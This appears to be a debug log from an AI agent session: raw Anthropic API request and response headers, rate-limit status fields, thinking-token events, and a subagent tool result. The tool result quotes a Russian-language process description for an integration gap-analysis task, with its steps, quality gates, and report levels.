supportsBYOB: false }\n[2026-09-29T07:47:59.402Z] [STDOUT] [log_7307a5] response parsed {\n[2026-09-29T07:47:59.424Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:59.448Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:59.458Z] [STDOUT]   body: X {\n[2026-09-29T07:47:59.473Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:47:59.480Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:47:59.483Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:47:59.503Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:47:59.523Z] [STDOUT]     },\n[2026-09-29T07:47:59.529Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:47:59.531Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:47:59.537Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:47:59.541Z] [STDOUT]   },\n[2026-09-29T07:47:59.546Z] [STDOUT]   durationMs: 1115,\n[2026-09-29T07:47:59.552Z] [STDOUT] }\n[2026-09-29T07:47:59.557Z] [INFO] {\n[2026-09-29T07:47:59.557Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:59.557Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:59.557Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:47:59.557Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:59.557Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:59.557Z] [INFO]   \"uuid\": \"5a123b9b-5132-43b6-bdd9-908036759ed8\"\n[2026-09-29T07:47:59.557Z] [INFO] }\n[2026-09-29T07:47:59.562Z] [STDOUT] [log_3e044e, request-id: \"req_011CfXMx5pooVLcj49khtHEu\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 935ms\n[2026-09-29T07:47:59.566Z] [STDOUT] [log_3e044e] response start {\n[2026-09-29T07:47:59.568Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:59.574Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:59.579Z] [STDOUT]   headers: {\n[2026-09-29T07:47:59.582Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:59.584Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:59.587Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:59.591Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:59.593Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:59.597Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:59.600Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:59.606Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:59.609Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:59.613Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:59.618Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:59.633Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:59.641Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:59.646Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:59.650Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:59.656Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:59.662Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:59.670Z] [STDOUT]     \"cf-ray\": \"a4296202483029ad-FRA\",\n[2026-09-29T07:47:59.672Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:47:59.676Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:59.679Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:59.682Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:59.685Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:47:59 GMT\",\n[2026-09-29T07:47:59.687Z] [STDOUT]     \"request-id\": \"req_011CfXMx5pooVLcj49khtHEu\",\n[2026-09-29T07:47:59.689Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:47:59.691Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:59.696Z] [STDOUT]     traceresponse: \"00-7dc4103636991574ccb257f9a177adb6-4176a3a60dd56ad3-01\",\n[2026-09-29T07:47:59.698Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:59.703Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:47:59.707Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:59.711Z] [STDOUT]   },\n[2026-09-29T07:47:59.723Z] [STDOUT]   durationMs: 935,\n[2026-09-29T07:47:59.731Z] [STDOUT] }\n[2026-09-29T07:47:59.737Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:47:59.744Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:47:59 GMT\",\n[2026-09-29T07:47:59.753Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:59.761Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:59.765Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:47:59.771Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:59.776Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:59.782Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:59.785Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:47:59.789Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:59.793Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:59.796Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:59.801Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:59.804Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:59.807Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:59.810Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:59.814Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:59.816Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:59.820Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:59.830Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:59.837Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:59.841Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:59.844Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:59.850Z] [STDOUT]   \"request-id\": \"req_011CfXMx5pooVLcj49khtHEu\",\n[2026-09-29T07:47:59.852Z] [STDOUT]   \"traceresponse\": \"00-7dc4103636991574ccb257f9a177adb6-4176a3a60dd56ad3-01\",\n[2026-09-29T07:47:59.856Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:59.858Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:59.863Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:47:59.866Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:59.869Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:59.875Z] [STDOUT]   \"cf-ray\": \"a4296202483029ad-FRA\",\n[2026-09-29T07:47:59.878Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:47:59.882Z] [STDOUT] [log_3e044e] response parsed {\n[2026-09-29T07:47:59.884Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:59.886Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:59.888Z] [STDOUT]   body: X {\n[2026-09-29T07:47:59.891Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:47:59.894Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:47:59.896Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:47:59.899Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:47:59.903Z] [STDOUT]     },\n[2026-09-29T07:47:59.908Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:47:59.916Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:47:59.919Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:47:59.922Z] [STDOUT]   },\n[2026-09-29T07:47:59.925Z] [STDOUT]   durationMs: 936,\n[2026-09-29T07:47:59.933Z] [STDOUT] }\n[2026-09-29T07:48:00.669Z] [INFO] {\n[2026-09-29T07:48:00.669Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:48:00.669Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:48:00.669Z] [INFO]   \"estimated_tokens\": 200,\n[2026-09-29T07:48:00.669Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:48:00.669Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:48:00.669Z] [INFO]   \"uuid\": \"8a9abb7a-c111-4ec1-b393-c07efbe23b78\"\n[2026-09-29T07:48:00.669Z] [INFO] }\n[2026-09-29T07:48:01.289Z] [INFO] {\n[2026-09-29T07:48:01.289Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:48:01.289Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:48:01.289Z] [INFO]   \"estimated_tokens\": 282,\n[2026-09-29T07:48:01.289Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:48:01.289Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:48:01.289Z] [INFO]   \"uuid\": \"a5262855-adc2-48ee-a70e-155f5e0394ec\"\n[2026-09-29T07:48:01.289Z] [INFO] }\n[2026-09-29T07:48:01.299Z] [INFO] {\n[2026-09-29T07:48:01.299Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:48:01.299Z] [INFO]   \"message\": {\n[2026-09-29T07:48:01.299Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:48:01.299Z] [INFO]     \"id\": \"msg_011CfXMx3vxa165cYJG64vDV\",\n[2026-09-29T07:48:01.299Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:48:01.299Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:48:01.299Z] [INFO]     \"content\": [\n[2026-09-29T07:48:01.299Z] [INFO]       {\n[2026-09-29T07:48:01.299Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:48:01.299Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:48:01.299Z] [INFO]         \"signature\": \"CAQS3AgKEAgSGAI4AUIIdGhpbmtpbmcSDFxZfeaARpKx1Qy0GRoMQAKp8t4LL9cSj/cmIjAsUAnHqYQgYtuwQrneymHr629pCsJdNxFIoMVPep2a+uRbSehfjrak+Q9HvV2RDN8q+Qc6ladoZozC685p5Z851OfTbqDnC77Rz1nhzAvCM21gk3+FstCzNwWXCGU4RIUmJcn3X37oJPaxwL1ZH3Fqe77atnv+1l4dWJaBWCLh70XJn1PIpErM3/YvBa1ha5iSVItpLehclIZ+O8giPHHQstBy75Y6A+TKGHxGTNnQGDi2o2Z8fzXVCFBf5fjAbZWB413D5B3oOQEb5wRNPkNQer462xGtEVTtrGoHyrsNOV7GghaOSFMiitbxmtYSMfNCzXqaWloCMPRQm+Ph1IVmTVYcdsqizmthOnyiOnJMwE3Fj5maDZ5BUuN3ibqqyFfUkp1RF60AjRcEifgWJ75cSngQWEpiH9J0YS7tTNqnEGiaUo8IScVdXs7kAKWTlklUuxDNhXcYhYsKTqFO+2s4lp4hS1lg4sRjQe0jyu8BibxyDjfNkGXqRQXf/pM14ieAWtG0N8Qr0T5TEJnsnvpopB9M6wVnQlh0wRe6Y7D1zdNUGrQd6EpSSo4ShUxkFdgPYyY0BYNG+3QAGXdZcqIHVaQ1+qz981vFoyCDS0oxs+AgBx5RH/LOdpuKI6Cef+rKZpCVn1iNik05laLFtjPb8VSO5srQV7IaNbJ9/vD1kPsJdTbqzt5wFqOg2t0NwN60ol0aoABSyG+bGvbMcj6t4dL76PvPWs1uB3xNGrA8uAk0jdbXUBRq3Mei+oo3jHA8NyAAXdI4wyDHJrLM7476xiBNWCOx7osy6kK1oiDeGjn/dvd1alG3GEsJakb5Sqca3KjVKSgA5chlx8vSmHp14EUnRvtTitCXQRLEKgJwFmFsv4D4yaP8/zifBlixnTHTgAp+PzXTfYLfNKrXnRqnNaNw/p1VfazxqSHw3gfy+OVC6nPDPu7Z/XJ5eq+QFoWDnWcYeX/uZt3icxmJOYgKRZjugMqCN7nu9DS6tfiSNS9ktku7ttm1DZ7MiAkHlT4Rkbf+52DWMansjCGG+hbzpT8xYjTh7hiKvc1DGGW0GFjt13gI99PYFR1mY+SdzkU68gCAzgo8L9Vamna3cy4DwINcmKH4FtZIS5nJjUHXJuxKmRGSk3rkgUqGJ8Y4flnVaRdqkrhLGVaibN15q6jwUDBvykyqg2NyEvwrKpNufT85EFUXfxp78dSPq0fhpCHMAoJxkR7zu0zXERRUwS65rQEw7wCcpXmnSlgrl2FTMdGULYAEu9AI4t8T/0vBKLj5IXohfRSCEj8N6xglnvdQnK8BvVV1O8rM2vxGJ5ep7iX27jThgHJx1jQdb72enzLXUGMmDzc/EFO9k4QV2mYe6coGC+wKqAfugJwETTclfAH3CdOtdWNnOgTqYan6PbNcS9I4eJTKxvOE1HwYAQ==\"\n[2026-09-29T07:48:01.299Z] [INFO]       }\n[2026-09-29T07:48:01.299Z] [INFO]     ],\n[2026-09-29T07:48:01.299Z] [INFO]     \"container\": null,\n[2026-09-29T07:48:01.299Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:48:01.299Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:48:01.299Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:48:01.299Z] [INFO]     \"usage\": {\n[2026-09-29T07:48:01.299Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:48:01.299Z] [INFO]       \"cache_creation_input_tokens\": 3247,\n[2026-09-29T07:48:01.299Z] [INFO]       \"cache_read_input_tokens\": 58806,\n[2026-09-29T07:48:01.299Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:48:01.299Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:48:01.299Z] [INFO]         \"ephemeral_1h_input_tokens\": 3247\n[2026-09-29T07:48:01.299Z] [INFO]       },\n[2026-09-29T07:48:01.299Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:48:01.299Z] [INFO]       \"service_tier\": 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\"message\": {\n[2026-09-29T07:48:04.741Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:48:04.741Z] [INFO]     \"content\": [\n[2026-09-29T07:48:04.741Z] [INFO]       {\n[2026-09-29T07:48:04.741Z] [INFO]         \"tool_use_id\": \"toolu_012ShQb1DvdqXvzU2AuAdd6b\",\n[2026-09-29T07:48:04.741Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:48:04.741Z] [INFO]         \"content\": \"### 5. \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0438\\n\\n**\u041f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f.** \u0417\u0430\u043f\u0443\u0441\u043a \u043d\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f, \u043f\u043e\u043a\u0430 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u0432\u0441\u0451:\\n\\n1. \u0422\u0417 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e \u0432 \u0432\u0438\u0434\u0435 \u0444\u0430\u0439\u043b\u0430 \u0441 \u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 \u043f\u043e\u0434\u043f\u0443\u043d\u043a\u0442\u0430\u043c\u0438.\\n2. \u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d SSOT \u0432\u043d\u0435\u0448\u043d\u0435\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u0430 \u0435\u0433\u043e \u0441\u0435\u0442\u0435\u0432\u0430\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c \u0438\u0437 \u0441\u0440\u0435\u0434\u044b\\n   \u043f\u0440\u043e\u0433\u043e\u043d\u0430; \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 `logs/source-availability.md`. \u041d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c\\n   \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u2014 \u043d\u0435 \u043f\u043e\u0432\u043e\u0434 \u0434\u043e\u043c\u044b\u0441\u043b\u0438\u0432\u0430\u0442\u044c, \u0430 \u043f\u043e\u0432\u043e\u0434 \u043f\u043e\u043d\u0438\u0437\u0438\u0442\u044c \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u0430\\n   (\u043e\u0431\u0440\u0430\u0437\u0435\u0446 \u2014 RUN-0056).\\n3. \u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d SSOT \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430.\\n4. \u0417\u0430\u0432\u0435\u0434\u0451\u043d \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043f\u043e `standards/runs-contract-standard.md`.\\n5. \u041d\u0430\u0437\u0432\u0430\u043d \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u0437\u0430\u0434\u0430\u0447\u0438, \u0435\u0441\u043b\u0438 \u043e\u043d \u0435\u0441\u0442\u044c.\\n\\n**\u0428\u0430\u0433\u0438.**\\n\\n| \u0428\u0430\u0433 | \u0421\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 | \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 |\\n| --- | --- | --- |\\n| 1 | \u0417\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438: \u0441\u043a\u0430\u0447\u0430\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u0443\u044e \u0441\u0443\u043c\u043c\u0443, \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0432 \u0448\u0430\u043f\u043a\u0443 \u043e\u0442\u0447\u0451\u0442\u0430 | \u0428\u0430\u043f\u043a\u0430 \u00ab\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0444\u0430\u043a\u0442\u043e\u0432 \u0438 \u0435\u0433\u043e \u0432\u0435\u0440\u0441\u0438\u044f\u00bb |\\n| 2 | \u0420\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c \u0422\u0417 \u043d\u0430 \u043f\u043e\u0434\u043f\u0443\u043d\u043a\u0442\u044b \u0438 \u0432\u044b\u043f\u0438\u0441\u0430\u0442\u044c \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u044b\u0435 \u0446\u0438\u0442\u0430\u0442\u044b | \u0417\u0430\u0433\u043e\u0442\u043e\u0432\u043a\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 N.1 |\\n| 3 | \u0412\u044b\u043d\u0435\u0441\u0442\u0438 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u044b \u043f\u043e \u043f\u043e\u0434\u043f\u0443\u043d\u043a\u0442\u0430\u043c \u0441\u043e \u0441\u043d\u043e\u0441\u043a\u0430\u043c\u0438 \u043d\u0430 SSOT | \u041f\u043e\u0434\u0440\u0430\u0437\u0434\u0435\u043b\u044b N.1 |\\n| 4 | \u041f\u043e\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043c\u043e\u0434\u0435\u043b\u044c: JSON, \u0434\u0438\u0430\u0433\u0440\u0430\u043c\u043c\u044b, \u043c\u0430\u043f\u043f\u0438\u043d\u0433 | \u041f\u043e\u0434\u0440\u0430\u0437\u0434\u0435\u043b\u044b N.2 |\\n| 5 | \u0421\u043e\u0431\u0440\u0430\u0442\u044c \u0442\u0430\u0431\u043b\u0438\u0446\u044b \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0438\u0445 \u0447\u0435\u043a-\u043b\u0438\u0441\u0442\u043e\u043c \u0441\u0441\u044b\u043b\u043e\u043a | \u041f\u043e\u0434\u0440\u0430\u0437\u0434\u0435\u043b\u044b N.3 + \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 |\\n\\n\u0421\u0432\u043e\u0434 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u0432 \u0432 L1 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435 \u0448\u0430\u0433\u0430 5 \u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u0433\u043e\u0442\u043e\u0432\u043e\u0433\u043e L4.\\n\\n**Quality gates.**\\n\\n| \u0413\u0435\u0439\u0442 | \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 | \u0411\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0432\u044b\u043f\u0443\u0441\u043a |\\n### 1. \u0414\u0432\u0430 \u0443\u0440\u043e\u0432\u043d\u044f \u0434\u0435\u0442\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438\\n\\n\u0418\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b **\u0440\u043e\u0432\u043d\u043e \u0434\u0432\u0443\u0445 \u0443\u0440\u043e\u0432\u043d\u0435\u0439**. \u041f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0435\\n`L3`-\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0437\u0430\u043c\u0435\u0442\u043a\u0438 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0440\u0430\u0431\u043e\u0447\u0438\u043c\u0438 \u043b\u043e\u0433\u0430\u043c\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0438 \u0417\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0443 \u043d\u0435 \u0432\u044b\u0434\u0430\u044e\u0442\u0441\u044f.\\n\\n| \u0423\u0440\u043e\u0432\u0435\u043d\u044c | \u0424\u0430\u0439\u043b | \u041e\u0431\u044a\u0451\u043c | \u0410\u0434\u0440\u0435\u0441\u0430\u0442 | \u041d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n| --- | --- | --- | --- | --- |\\n| **L1** | `L1-business-gap-summary.md` | **1 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430** | \u0417\u0430\u043a\u0430\u0437\u0447\u0438\u043a, \u043c\u0435\u043d\u0435\u0434\u0436\u043c\u0435\u043d\u0442 | \u041e\u0442\u0432\u0435\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 \u00ab\u0434\u0435\u043b\u0430\u0435\u043c \u0438\u043b\u0438 \u043d\u0435\u0442 \u0438 \u043f\u043e\u0447\u0435\u043c\u0443\u00bb |\\n| **L2/L4** | `L4-combined-gap-report.md` | \u0431\u0435\u0437 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f | \u0411\u0410, \u0421\u0410, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430 | \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u0432 L1 |\\n\\n**L1 \u2014 Business Gap Summary.** \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0441\u043e\u0441\u0442\u0430\u0432:\\n\\nL4-combined-gap-report.md\\nREADME.md\\nhh-api-source-index.md\\nhuman-review-checklist.md\",\n[2026-09-29T07:48:04.741Z] [INFO]         \"is_error\": false\n[2026-09-29T07:48:04.741Z] [INFO]       }\n[2026-09-29T07:48:04.741Z] [INFO]     ]\n[2026-09-29T07:48:04.741Z] [INFO]   },\n[2026-09-29T07:48:04.741Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:48:04.741Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:48:04.741Z] [INFO]   \"uuid\": \"1d360f1d-a7a0-49ff-b36f-59682ff2dc59\",\n[2026-09-29T07:48:04.741Z] [INFO]   \"timestamp\": \"2026-09-29T07:48:04.736Z\",\n[2026-09-29T07:48:04.741Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:48:04.741Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:48:04.741Z] [INFO] }\n[2026-09-29T07:48:04.871Z] [STDOUT] [log_917b24] sending request {\n[2026-09-29T07:48:04.882Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:48:04.894Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:48:04.906Z] [STDOUT]   options: {\n[2026-09-29T07:48:04.915Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:48:04.929Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:48:04.940Z] [STDOUT]     body: {\n[2026-09-29T07:48:04.956Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:48:05.008Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:48:05.020Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:48:05.030Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:48:05.036Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:48:05.039Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:48:05.042Z] [STDOUT]       thinking: [Object 